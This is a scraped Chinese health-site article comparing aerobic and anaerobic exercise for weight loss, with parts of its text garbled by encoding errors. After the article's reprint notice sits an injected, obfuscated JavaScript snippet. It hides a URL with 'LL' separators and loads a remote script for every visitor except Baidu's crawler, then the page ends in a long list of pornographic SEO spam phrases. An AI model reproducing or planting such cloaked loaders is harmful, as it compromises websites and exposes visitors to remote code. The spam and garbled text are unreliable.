當前位置:首頁 > 減肥 > 運動減肥 > 正文

有氧運動無氧運動減肥那個好?

2017-06-11 15:32:52  來源:360常識網(wǎng)   熱度:
導語:很多人平時在日常生活當中,除了娛樂玩耍工作,當然還是適當?shù)臅鲆恍┻\動的,尤其是現(xiàn)在人對于自己生活質(zhì)量的要求也越來越高了,所以經(jīng)常

很多人平時在日常生活當中,除了娛樂玩耍工作,當然還是適當?shù)臅鲆恍┻\動的,尤其是現(xiàn)在人對于自己生活質(zhì)量的要求也越來越高了,所以經(jīng)常做一些有氧運動,或者無氧運動都是比較常見的,很多人都會非常的疑問,到底有氧運動和無氧運動哪個更有利于減肥呢!

在區(qū)分有氧運動和無氧運動時,人們會簡單地以運動項目來區(qū)分兩種運動。這樣的區(qū)分方式相對容易,但是未免有點粗糙,容易混淆。比如說,跑步被大多人判定為有氧運動。但其實,慢跑是有氧運動,而當跑步速度很快時,人體處于缺氧狀態(tài),人體的代謝方式就會發(fā)生變化,跑步則是一種無氧運動。

在進行有氧運動時,人體采用的是有氧分解的代謝方式。運動過程中,人體處于氧氣充足的環(huán)境,消耗糖、脂肪、氨基酸產(chǎn)生能量供給機體需要。而在進行無氧運動時,主要消耗糖類來供能,而非脂肪和蛋白質(zhì)。

從運動特點來看,有氧運動的強度較低,有節(jié)湊,可持續(xù)的時間較長;而無氧運動的強度較大,可持續(xù)的時間并不長,而且容易使得肌肉疲勞酸痛。

有氧運動和無氧運動都有利于減肥,從消脂效果看,有氧運動更好。運功過程中,有氧運動會消耗大量脂肪,而無氧運動則消耗大部分的糖分。因此,對于部分以消脂為主要減肥目的的朋友,小編建議可以多做有氧運動。

很多人在做有氧運動的時候,基本上都是能夠堅持一段時間的,但是如果想要起到一定減肥的功效的話,最后堅持的時間還是長一點,這樣才能夠減少身體內(nèi)的脂肪,當然如果是針對一些男性朋友們,想要鍛煉出肌肉來,建議采用無氧運動。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品成人免费自拍视频| 2017国产精品自拍| 日韩精品一区二区三区视频| 亚洲欧洲国产精品你懂的| 日韩精品一区二区三区中文字幕| 亚洲精品网站在线观看你懂的| 久久er国产精品免费观看8| 亚洲精品无码mⅴ在线观看| 久久免费观看国产99精品| 国产乱子伦精品视频| 亚洲中文字幕久久精品无码2021| 精品无码久久久久久久久久| 日韩精品电影在线| 亚洲午夜精品在线| 日韩精品一区二区三区大桥未久| 四虎成人精品无码永久在线| 亚洲精品女同中文字幕| 日产精品99久久久久久| 久久青青草原精品国产软件| 国产精品青青青高清在线观看| 久久6这里只有精品| 久久久2019精品| 亚洲精品卡2卡3卡4卡5卡区| 国产SUV精品一区二区88L | 无码国内精品久久人妻蜜桃| 国产高清在线精品一本大道国产| 久久精品国产亚洲av瑜伽| 69国产成人综合久久精品91| 国产精品久线在线观看| 孩交VIDEOS精品乱子| 亚洲精品国产日韩无码AV永久免费网| 午夜精品视频任你躁| 在线播放国产精品| 91精品国产福利在线观看| 亚洲AV第一页国产精品| 国内少妇偷人精品视频免费| 狠狠精品久久久无码中文字幕| 午夜精品久久影院蜜桃| 国产精品9999久久久久仙踪林| 青青草国产三级精品三级| 中文精品一卡2卡3卡4卡|